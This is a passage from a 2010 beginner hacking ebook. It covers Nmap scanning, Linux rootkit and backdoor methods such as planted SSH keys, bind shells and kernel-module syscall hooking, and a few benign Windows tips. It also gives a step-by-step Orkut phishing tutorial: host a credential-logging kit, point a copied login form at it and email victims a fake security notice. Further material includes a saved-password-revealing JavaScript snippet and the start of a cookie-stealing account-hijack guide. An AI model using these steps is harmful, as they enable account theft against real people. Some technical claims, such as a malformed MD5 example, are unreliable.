1777 Once the IP address of a target system is known, an attacker can begin the process of port scanning, looking for
1778holes in the system through which the attacker can gain access.
1779 A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for each number.
1780 Each one of these ports are a potential way into the system.
1781 The most popular Scanning tool for Linux is Nmap.
1782Scanning helps one to know what services are running on a machine. This will show the open ports on which services are
1783listening for connections. Once the targets are identified, an intruder is able to scan for listening ports.
1784Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are
1785running or in a listening state. Identifying listening ports is essential to determine the type of operating system and
1786application in use on the system.
1787Types of port scanning:
17881. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN,
1789SYN/ACK and ACK).
17902. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake,
1791rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is
1792in a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.
17933. TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should
1794send back an RST for all closed ports.
17954. TCP Xmas Tree scan: This technique sends a FIN, URG and PUSH packet to the target port and based on RFC 793
1796the target system should send back an RST for all closed ports.
17975. TCP Null scan: This technique turns off all flags and based on RFC 793, the target system should send back an RST
1798for all closed ports.
17996. TCP ACK scan: This technique is used to map out firewall rule sets. It can help determine if the firewall is a simple
1800packet filter allowing only established connections or a stateful firewall performing advance packet filtering.
18017. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to
1802anomaly in the way TCP windows size is reported.
18038. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call
1804(RPC) ports and their associated program and version number.
18059. UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an "ICMP port
1806unreachable" message, the port is closed, if not then the port is open. This is a slow process since UDP is a
1807connectionless protocol; the accuracy of this technique is dependent on many factors related to utilization of
1808network and system resources.
1809Hacking For Beginners – Manthan Desai 2010
1810w w w . h a c k i n g t e c h . c o . t v
1811Page 87
1812Hacking tool Nmap
1813http://www.insecure.org/nmap
1814 Stealth Scan, TCP SYN
1815 nmap -v -sS 192.168.0.0/24
1816 UDP Scan
1817 nmap -v -sU 192.168.0.0/24
1818 Stealth Scan, No Ping
1819 nmap -v -sS -P0 192.168.0.0/24
1820 Fingerprint
1821 nmap -v -0 192.168.0.0/24 #TCP
1822Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge from
1823http://www.insecure.org/nmap. It comes as tarred source as well as RPM format. The usage syntax of Nmap is fairly
1824simple. Options to nmap on the command-line are different types of scans that are specified with the -s flag. A ping scan,
1825for example, is "-sP". Options are then specified, followed by the hosts or networks to be targeted. Nmap's functionality is
1826greatly increased when run as root.
1827Nmap is flexible in specifying targets. The user can scan one host or scan entire networks by pointing Nmap to the
1828network address with a "/mask" appended to it. Targeting "victim/24" will target the Class C network, whereas
1829"victim/16" will target the Class B. Nmap also allows the user to specify networks with wild cards, as in 192.168.7.*, which
1830is the same as 192.168.7.0/24, or 192.168.7.1,4,5-16 to scan the selected hosts on that subnet.
1831Users are able to sweep entire networks looking for targets with Nmap. This is usually done with a ping scan by using the
1832"-sP" flag. A TCP "ping" will send an ACK to each machine on a target network. Machines that are alive on the network will
1833respond with a TCP RST. To use the TCP "ping" option with a ping scan, the "-PT" flag is included to specific port on the
1834target network.
1835Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OS
1836fingerprinting and other scan options.
1837Password cracking in Linux
1838 Xcrack
1839(http://packetstorm.linuxsecurity.com/Crackers/)
1840 Xcrack doesn't do much with rules.
1841 It will find any passwords that match words in the dictionary file the user provides, but it won't apply any
1842combinations or modifications of those words.
1843 It is a comparatively fast tool.
1844Xcrack (http://packetstorm.linuxsecurity.com/Crackers/)
1845Xcrack is a simple dictionary based password cracking tool. It will find any passwords that match words in the dictionary
1846file the user provide. It does not generate permutation combination of the words provided in the dictionary to arrive at
1847the right password. For this reason, it is a comparatively faster tool, though efficacy might be less.
1848Hacking For Beginners – Manthan Desai 2010
1849w w w . h a c k i n g t e c h . c o . t v
1850Page 88
1851SARA (Security Auditor’s Research Assistant)
1852http://www-arc.com/sara
1853 The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool that
1854supports the FBI Top 20 Consensus on Security.
1855 SARA operates on most Unix-type platforms including Linux & Mac OS X
1856 SARA is the upgrade of SATAN tool.
1857 Getting SARA up and running is a straight forward compilation process, and the rest is done via a browser.
1858SARA (Security Auditor's Research Assistant), a derivative of the Security Administrator Tool for Analyzing Networks
1859(SATAN), remotely probes systems via the network and stores its findings in a database. The results can be viewed with
1860any Level 2 HTML browser that supports the http protocol.
1861When no primary_target(s) are specified on the command line, SARA starts up in interactive mode and takes commands
1862from the HTML user interface.
1863When primary_target(s) are specified on the command line, SARA collects data from the named hosts, and, possibly, from
1864hosts that it discovers while probing a primary host. A primary target can be a host name, a host address, or a network
1865number. In the latter case, SARA collects data from each host in the named network.
1866SARA can generate reports of hosts by type, service, and vulnerability by trust relationship. In addition, it offers tutorials
1867that explain the nature of vulnerabilities and how they can be eliminated.
1868By default, the behavior of SARA is controlled by a configuration file (config/sara.cf). The defaults can be overruled via
1869command-line options or via buttons etc. in the HTML user interface.
1870Linux Rootkits
1871 One way an intruder can maintain access to a compromised system is by installing a rootkit.
1872 A rootkit contains a set of tools and replacement executables for many of the operating system's critical
1873components, used to hide evidence of the attacker's presence and to give the attacker backdoor access to the
1874system.
1875 Rootkits require root access to to install, but once set up, the attacker can get root access back at any time.
1876Conventionally, UNIX and Linux have been known to have rootkits built, as the intruder is aware of the code. Here we will
1877focus on rootkits that use the LKM or Loadable Kernel Module.
1878A brief review: Rootkits appeared in the early 90's, and one of the first advisories came out in Feb 1994. This advisory
1879from CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19, 1997. Rootkits
1880have increased in popularity since then and are getting increasingly difficult to detect. The most common rootkits are
1881used for SunOS and Linux operating systems. Rootkits contain several different programs. A typical rootkit will include an
1882Ethernet Sniffer, which is designed to sniff out passwords. Rootkits can also include Trojan programs used as backdoors
1883such as inetd or login. Support programs such as ps, netstat, rshd, and ls to hide the attacker directories or processes.
1884Finally, log cleaners, such as zap, zap2, or z2, are used to remove login entries from the wtmp, utmp, and lastlog files.
1885Some rootkits also enable services such as telnet, shell, and finger. The rootkit may also include scripts that will clean up
1886other files in the /var/log and var/adm directories. Using the modified programs of ls, ps, and df installed on the box, the
1887intruder can "hide" his/her files and programs from the legitimate system administrator.
1888The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initial
1889vulnerability exploitation. The intruder then uses the installed backdoor program for future access to the compromised
1890system in order to retrieve sniffer logs or launch another attack. If a rootkit is properly installed and the log-files are
1891Hacking For Beginners – Manthan Desai 2010
1892w w w . h a c k i n g t e c h . c o . t v
1893Page 89
1894cleaned correctly, a normal system administrator is unaware that the intrusion has even occurred until another site
1895contacts him or the disks fill because of the sniffer logs.
1896The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (Loadable
1897Kernel Module) trojans. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel
1898without requiring a kernel recompilation. Even if an infected system is rebooted, the LKM process will reload the Trojan
1899during boot-up just like any other kernel module. Loadable Kernel Modules are used by many operating systems including
1900Linux, Solaris, and FreeBSD.
1901The LKM rootkits facilitate the subversion of system binaries. Knark, Adore, and Rtkit are just a few of many LKM rootkits
1902available today. As they run as part of the kernel, these rootkits are less detectable than conventional ones.
1903Let us see how a typical backdoor can be installed by an intruder.
1904The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator, with
1905least amount of time and visibility. The backdoor that gives local user root access can be: set uid programs, trojaned
1906system programs, cron job backdoor.
1907Set uid programs. The attacker may plant some set uid shell program in the file system, which when executed will grant
1908the root to the attacker.
1909Trojaned system programs. The attacker can alter some system programs, such as "login" that will give him root access.
1910Cron job backdoor. The attacker may add or modify the jobs of the cron while his program is running so that he can get
1911root access.
1912The backdoor that gives remote user root access can be: ".rhost" file ssh authorized keys, bind shell, trojaned service.
1913 ".rhosts" file. Once "+ +" is in some user's .rhosts file, anybody can log into that account from anywhere without
1914password.
1915 ssh authorized keys. The attacker may put his public key into victims ssh configuration file "authorized_keys", so
1916that he can log into that account without password.
1917 Bind shell. The attacker can bind the shell to certain TCP port. Anybody doing a telnet to that port will have an
1918interactive shell. More sophisticated backdoors of this kind can be UDP based, or unconnected TCP, or even ICMP
1919based.
1920 Trojaned service. Any open service can be trojaned to give access to remote user. For example, trojaned the inetd
1921program creates a bind shell at certain port, or trojaned ssh daemon give access to certain password.
1922After the intruder plants and runs the backdoor, his attention turns to hiding his files and processes. However, these can
1923be easily detected by the system administrator - especially if the system is running tripwire.
1924Let us see how a LKM rootkit helps achieve the attacker's needs.
1925In the case of LKM trojaned rootkits, the attacker can put LKM in /tmp or /var/tmp, the directory that the system
1926administrator cannot monitor. Moreover, he can effectively hide files, processes, and network connections. Since he can
1927modify the kernel structures, he can replace the original system calls with his own version.
1928 To hide files. Commands like "ls", "du" use sys_getdents() to obtain the information of a directory. The LKM will
1929just filter out files such that they are hidden.
1930 To hide processes. In Linux implementations, process information is mapped to a directory in /proc file system. An
1931attacker can modify sys_getdents() and mark this process as invisible in the task structure. The normal
1932implementation is to set task's flag (signal number) to some unused value.
1933 To hide network connections. Similar to process hiding, the attacker can try to hide something inside
1934/proc/net/tcp and /proc/net/udp files. He can trojan the sys_read () so that whenever the system reads these two
1935files and a line matching certain string, the system call will not reveal the network connection.
1936Hacking For Beginners – Manthan Desai 2010
1937w w w . h a c k i n g t e c h . c o . t v
1938Page 90
1939 To redirect file execution. Sometimes, the intruder may want to replace the system binaries, like "login", without
1940changing the file. He can replace sys_execve () so that whenever the system tries to execute the "login" program,
1941it will be re-directed to execute the intruder's version of login program.
1942 To hide sniffer. Here we refer to hiding the promiscuous flag of the network interface. The system call to Trojan in
1943this case is sys_ioctl().
1944 To communicate with LKM. Once the hacker has his LKM installed, he will attempt to modify some system calls
1945such that when a special parameter is passed, the system call will be subverted.
1946 To hide LKM. A perfect LKM must be able to hide itself from the administrator. The LKM's in the system are kept
1947in a single linked list. To hide a LKM an attacker can just remove it from the list so that command such as "lsmod"
1948will not reveal it.
1949 To hide symbols in the LKM. Normally functions defined in the LKM will be exported so that other LKM can use
1950them. An attacker can use a macro and put it at the end of LKM to prevent any symbols from being exported.
1951Linux Tools : Security Testing tools
1952o NMap (http://www.insecure.org/nmap)
1953Premier network auditing and testing tool.
1954o LSOF (ftp://vic.cc.pudue.edu/pub/tools/unix/lsof)
1955LSOF lists open files for running Unix/Linux processes.
1956o Netcat (http://www.atstake.com/research/tools/index.html)
1957Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP
1958protocol.
1959o Hping2 (http://www.kyuzz.org/antirez/hping/)
1960hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like
1961ping does with ICMP replies.
1962o Nemesis (http://www.packetninja.net/nemesis/)
1963The Nemesis Project is designed to be a command-line based, portable human IP stack for Unix/Linux
1964Linux Security Countermeasures
1965Countermeasures
1966 Physical Security
1967o It is ideal to restrict physical access the computer system so that unauthorized people don't get to misuse
1968the system.
1969 Password Security
1970o Assign hard to guess passwords which are long enough.
1971o Ensure procedural discipline so that passwords are kept private
1972o Ensure that system does not accept null password or other defaults
1973 Network Security
1974o Ensure all default network accesses are denied
1975$ cat: ALL: ALL" >> /etc/hosts.deny
1976Hacking For Beginners – Manthan Desai 2010
1977w w w . h a c k i n g t e c h . c o . t v
1978Page 91
1979o Ensure that only essential services are running. Stop unused services like sendmail, NFS etc
1980$ chkconfig --list
1981$ chkconfig --del sendmail
1982$ chkconfig --del nfslock
1983$ chkconfig --del rpc
1984o Verify system logs at regular intervals to check for suspicious activity - (System logs in /var/log/secure)
1985 Patch the Linux system and keep it up to date
1986o Check for bug fixes at the vendor site
1987o Update packages as and when available at the Update site of the vendor.
1988Hacking For Beginners – Manthan Desai 2010
1989w w w . h a c k i n g t e c h . c o . t v
1990Page 92
1991The Tutorial based hacks and explanations.
1992Hacking For Beginners – Manthan Desai 2010
1993w w w . h a c k i n g t e c h . c o . t v
1994Page 93
19951. Chat With Friends using MS-DOS
1996Step 1:- All you need is your friends IP address and your Command Prompt.
1997Step 2 :- Open your notepad and write tis code as it is.
1998@echo off:
1999A
2000Cls
2001echo MESSENGER
2002set /p n=User:
2003set /p m=Message:
2004net send %n% %m%
2005Pause
2006Goto A3.
2007Step 3 :- Now save this as "Messenger.Bat”.
2008Step 4 :- Drag this file (.bat file)over to Command Prompt and press enter!
2009Step 5 :- You would then see some thing like this:
2010MESSENGER
2011User:
2012Step 6 :- After "User” type the IP address of the computer you want to contact.
2013Step 7 :- Before you press "Enter” it should look like this:
2014MESSENGER
2015User: IP_Address User: IP_Address
2016Message: Hi, How are you ? Message: Hi, How are you?
2017Step 8 :- Now all you need to do is press "Enter”, and start chatting.
2018“This Trick Works In the LAN connection Only. And may Not support some latest operating Systems
2019like Windows 7 and Windows Vista.”
2020Hacking For Beginners – Manthan Desai 2010
2021w w w . h a c k i n g t e c h . c o . t v
2022Page 94
20232. How To Change Your IP address
2024Step 1. Click on "Start" in the bottom left hand corner of screen
2025Step 2. Click on "Run"
2026Step 3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen.
2027Step 4. Type "ipconfig /release" just like that, and hit "enter"
2028Step 5. Type "exit" and leave the prompt
2029Step 6. Right-click on "Network Places" or "My Network Places" on your desktop.
2030Step 7. Click on "properties
2031You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you
2032have a network hooked up, all of your other networks.
2033Step 8. Right click on "Local Area Connection" and click "properties"
2034Step 9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
2035Step 10. Click on "Use the following IP address" under the "General" tab
2036Step 11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
2037Step 12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
2038Step 13. Hit the "Ok" button here
2039Step 14. Hit the "Ok" button again You should now be back to the "Local Area Connection" screen.
2040Step 15. Right-click back on "Local Area Connection" and go to properties again.
2041Step 16. Go back to the "TCP/IP" settings
2042Step 17. This time, select "Obtain an IP address automatically" tongue.gif
2043Step 18. Hit "Ok"
2044Step 19. Hit "Ok" again
2045Step 20. You now have a new IP address
2046With a little practice, you can easily get this process down to 15 seconds.
2047“This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a
2048website with this trick be extremely careful, because if they try a little, they can trace it back.”
2049Hacking For Beginners – Manthan Desai 2010
2050w w w . h a c k i n g t e c h . c o . t v
2051Page 95
20523. How To fix corrupted XP files
2053How to fix corrupted windows file is very easy.Following these following steps
2054Requirement:
20551. Windows XP CD
2056Now, follow this steps:
2057Step 1. Place the xp cd in your cd/dvd drive
2058Step 2. Go to start
2059Step 3. Run
2060Step 4. Type sfc /scannow
2061Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corrupted
2062xp system files.
2063“ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in the
2064PC and you can can Also Use the antivirus if the Possible otherwise format the PC “.
2065Hacking For Beginners – Manthan Desai 2010
2066w w w . h a c k i n g t e c h . c o . t v
2067Page 96
20684. Delete an “Undeletable” File / Folder
2069You all Are familier With such kinfd of ERROR in windows so how to Fix them.
2070Step 1:- Open a Command Prompt window and leave it open.
2071Step 2- Close all open programs.
2072Step 3:- Click Start, Run and enter TASKMGR.EXE
2073Step 4:- Go to the Processes tab and End Process on Explorer.exe.
2074Step 5:- Leave Task Manager open.
2075Step 6:- Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is
2076located in.
2077Step 7:- At the command prompt type DEL <filename> where <filename> is the file you wish to delete.
2078Step 8:- Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
2079Step 9:- Close Task Manager.
2080Or you can try this
2081Step 1:- Open Notepad.exe
2082Step 2:-Click File>Save As..>
2083Step 3:-locate the folder where ur undeletable file is
2084Step 4:-Choose 'All files' from the file type box
2085Step 5:-click once on the file u wanna delete so its name appears in the 'filename' box
2086Step 6:-put a " at the start and end of the filename
2087(the filename should have the extension of the undeletable file so it will overwrite it)
2088Step 7:-click save,
2089Hacking For Beginners – Manthan Desai 2010
2090w w w . h a c k i n g t e c h . c o . t v
2091Page 97
2092Step 8:-It should ask u to overwrite the existing file, choose yes and u can delete it as normal
2093Here's a manual way of doing it.
2094Step 1:- Start
2095Step 2:- Run
2096Step 3:- Type: command
2097Step 4:- To move into a directory type: cd c:\*** (The stars stand for your folder)
2098Step 5:- If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to
2099do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without
2100spaces. Example: cd c:\progra~1\kazaal~1
2101Step 6:- Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
2102Step 7:- Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the
2103special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the
2104specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct
2105extension.
2106“ You can use antivirus to remove this error if then also the problem persists then you can use the
2107following method “.
2108Hacking For Beginners – Manthan Desai 2010
2109w w w . h a c k i n g t e c h . c o . t v
2110Page 98
21115. What Is Steganography?
2112Steganography is the art and science of hiding messages. Steganography is often combined with cryptography so that
2113even if the message is discovered it cannot be read.
2114The word steganography is derived from the Greek words "steganos" and "graphein", which mean "covered" and
2115"writing." Steganography, therefore, is covered writing.
2116Historical stenganography involved techniques such as disappearing ink or microdots. Modern steganography involves
2117hiding data in computer files.
2118It is fairly easy to hide a secret message in a graphic file without obviously altering the visible appearance of that file.
2119Steganography software
2120OutGuess is a universal steganographic tool that allows the insertion of hidden information into the redundant bits of
2121data sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specific
2122handlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG image
2123formats are supported. In the next paragraphs, images will be used as concrete example of data objects, though OutGuess
2124can use any kind of data, as long as a handler is provided.
2125F5 is a publicly available steganography software package which hides messages in BMP, GIF , and JPG graphics.
2126Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from the
2127Web. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhanced
2128security.
2129JPHIDE and JPSEEK are programs which allow you to hide a file in a jpeg visual image. There are lots of versions of similar
2130programs available on the internet but JPHIDE and JPSEEK are rather special. The design objective was not simply to hide
2131a file but rather to do this in such a way that it is impossible to prove that the host file contains a hidden file. Given a
2132typical visual image, a low insertion rate (under 5%) and the absence of the original file, it is not possible to conclude with
2133any worthwhile certainty that the host file contains inserted data. As the insertion percentage increases the statistical
2134nature of the jpeg coefficients differs from "normal" to the extent that it raises suspicion. Above 15% the effects begin to
2135become visible to the naked eye. Of course some images are much better than others when used a host file - plenty of
2136fine detail is good. A cloudless blue sky over a snow covered ski paradise is bad. A waterfall in a forest is probably ideal.
2137Hacking For Beginners – Manthan Desai 2010
2138w w w . h a c k i n g t e c h . c o . t v
2139Page 99
2140MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and
2141then hidden in the MP3 bit stream. Although MP3Stego has been written with steganographic applications in mind it
2142might be used as a copyright marking system for MP3 files (weak but still much better than
2143the MPEG copyright flag defined by the standard). Any opponent can uncompress the bit stream and recompress it; this
2144will delete the hidden information (actually this is the only attack we know yet) but at the expense of severe quality loss.
2145Steghide is a steganography program that is able to hide data in JPG, BMP, WAV, and AU files. The color frequencies are
2146not changed thus making the embedding resistant against first-order statistical tests.
2147Hydan steganographically conceals a message ito an executable. It exploits redundancy in the i386 instruction set by
2148defining sets of functionally equivalent instructions. It then encodes information in machine code by using the
2149appropriate instructions from each set. The executable filesize remains unchanged. The message is Blowfish encrypted
2150with a user-supplied passphrase before being embedded.
2151The 1st method that We will Study Here Is Using command Prompt.
2152To hide a file behind a image.
2153To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
2154in a special way then you can open the hidden file behind the image.
2155So to hide the file behind a image open CMD.exe
21561) Select an image to be used for hiding file behind the image.
21572) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
21583) And most important is that paste both the files on desktop and run the following command on the command
2159prompt.
21604) And then type the following command. { cd } { Copy /b imagename.jpg + filename.rar finalnameofimage.jpg }
2161Hacking For Beginners – Manthan Desai 2010
2162w w w . h a c k i n g t e c h . c o . t v
2163Page 100
2164And then hit enter the file will be created with the file final file name of the image.
2165“ Using This method for The illegal Activities is against the Laws this tutorial is for educational
2166purpose only “.
2167“ You Can Also Use The softwares for the steganography like STEGHIDE Or F5 which will make your
2168work easy and time efficient “.
2169Hacking For Beginners – Manthan Desai 2010
2170w w w . h a c k i n g t e c h . c o . t v
2171Page 101
21726. What Is MD5 Hash & How to Use It ?
2173In this post I will explain you about an interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This
2174algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical
2175aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you
2176about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
2177Recently I made some significant changes and updates to my website and as obvious I generated a complete backup
2178of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few
2179days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I
2180was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto
2181my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the
2182download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be
2183corrupted due to any of the following reasons.
2184 Data loss during the download process, due to instability in the Internet connection/server
2185 The file can be tampered due to virus infections or,
2186 Due to Hacker attacks
2187So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of
2188the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In
2189this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the
2190intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file.
2191Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
2192A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows
2193A simple MD5 Hash
2194e4d909c290d0fb1ca068ffaddf22cbd0
2195This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not
2196have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a
2197file.
2198Hacking For Beginners – Manthan Desai 2010
2199w w w . h a c k i n g t e c h . c o . t v
2200Page 102
2201How to use MD5 Hash to check the Integrity of Files?
2202Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this
2203file on your server. To do so use the following command.
2204For UNIX:
2205md5sum backup.tar
2206When you hit ENTER you’ll see something as follows
2207e4d909c290d0fb1ca068ffaddf22cbd0
2208This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it’s integrity by
2209again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect.
2210Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use
2211the following freeware tool.
2212“You can Download MD5 Summer From Here: http://www.md5summer.org/download.html “.
2213Hacking For Beginners – Manthan Desai 2010
2214w w w . h a c k i n g t e c h . c o . t v
2215Page 103
22167. What Is Phishing ?
2217The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
2218user into surrendering private information that will be used for identity theft.
2219The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
2220and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
2221however, is Bogus and set up only to steal the User’s information.
2222Phishing attacks are Trying to steal your Money !!!
2223Phishing Scams Could Be-
2224 Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
2225 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
2226 Emails containing some Information of your Interest and asking you to Login to Your Account.
2227 Any Email carrying a Link to Click and asking you to Login.
2228The Phishing Hack Starts Now. this Hack example is for orkut account.
2229Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which
2230includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which
2231there are support files for ServerLogin.html
2232Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.
2233Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any
2234web hosting site..
2235You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and
2236upload the 2 images of the pack in that folder. (it must support PHPs.)
2237>>> You can choose one of the following web hosting Company to upload the Folder.
2238http://www.freeweb7.com
2239http://Ripway.com{Recommended}
2240http://www.110mb.com
2241http://www.phpnet.us
2242“You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.
2243Hacking For Beginners – Manthan Desai 2010
2244w w w . h a c k i n g t e c h . c o . t v
2245Page 104
2246http://www.byethost.com
2247http://www.t35.com
2248http://www.awardspace.com
2249http://www.free-webhosts.com/free-php-webhosting.php
2250http://www.freehostia.com
2251http://www.dajoob.com
2252http://ifastnet.com
2253http://007ihost.com
2254http://www.247mb.com/register.jsp
2255http://www.10gbfreehost.com/
2256Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password
2257and sign in . Password will be stored in "hackingtech.txt"...
2258General form of the fake page's link
2259Code:
2260http://urwebhostingsite/urusername/ServiceLogin.htm
2261Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut
2262the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to
2263send fake email within short time.
2264Now If You want to create your own phishing page the follow the steps below.
2265Step 1:-Open the website whose phishing page you want create.
2266Step 2:-Then right click any where on the page and select view source.
2267Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
2268Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
2269Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
2270Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
2271Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should
2272be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
2273Step 8:-Now Save this as serverlogin.htm
2274Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and
2275serverlogin.htm file in any web hosting site you want.
2276Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
2277Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of
2278orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see
2279how to send fake email within short time.
2280Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .
2281Hacking For Beginners – Manthan Desai 2010
2282w w w . h a c k i n g t e c h . c o . t v
2283Page 105
2284Prevention Against Phishing :-
2285 Read all the Email Carefully and Check if the Sender is Original.
2286 Watch the Link Carefully before Clicking
2287 Always check the URL in the Browser before Signing IN to your Account
2288 Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.
2289“Do not use this hack trick in any criminal activities like phishing bank websites and please do not
2290destroy any ones account this is only for educational purpose”.
2291Hacking For Beginners – Manthan Desai 2010
2292w w w . h a c k i n g t e c h . c o . t v
2293Page 106
22948. How To View Hidden Password behind ****
2295Step 1.First of all open up the webpage on which you wanna show the hidden passwords.
2296Step 2. Then in the username there must be the name and in the password there must be ********
2297Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the
2298address bar of the browser and you are done.
2299javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;
2300%20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)
2301%20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)
2302%20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)
2303%20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if
2304%20(s)%20alert(%22Passwords%20in%20forms%20on%20this
2305%20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are
2306%20no%20passwords%20in%20forms%20on%20this
2307%20page.%22);})();
2308Hacking For Beginners – Manthan Desai 2010
2309w w w . h a c k i n g t e c h . c o . t v
2310Page 107
2311Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown to
2312you.
2313“You can use This script when some one has checked the remember me button in the login form
2314of any website and to reveal password from that saved astrisk or encrypted password”.
2315“Do not use this hack trick in any criminal activities and please do not destroy any ones account
2316this is for educational purpose only”.
2317Hacking For Beginners – Manthan Desai 2010
2318w w w . h a c k i n g t e c h . c o . t v
2319Page 108
23209. Hack Orkut Accounts by Cookie Stealing
2321This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accounts
2322has become much popular and hence i have added this article which will help you in hacking your friend’s orkut account.
2323Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.
2324Note: My purpose is only to make u aware of what’s happening around and not to teach u hacking orkut account, Gmail
2325or any account in any sort!!.
2326Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail or orkut is given below.
2327"Hacking orkut account or Gmail” by "stealing orkut account cookies”:
2328The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking method
2329required.
2330Steps to hack Gmail or orkut account password by stealing orkut cookies:-
2331Step 1. Firstly you need have Mozilla firefox.
2332Step2. Cookie editor plugin for Mozilla firefox.
2333Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies to
2334one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two
2335Gmail(Orkut) accounts.
2336Cookie Script:
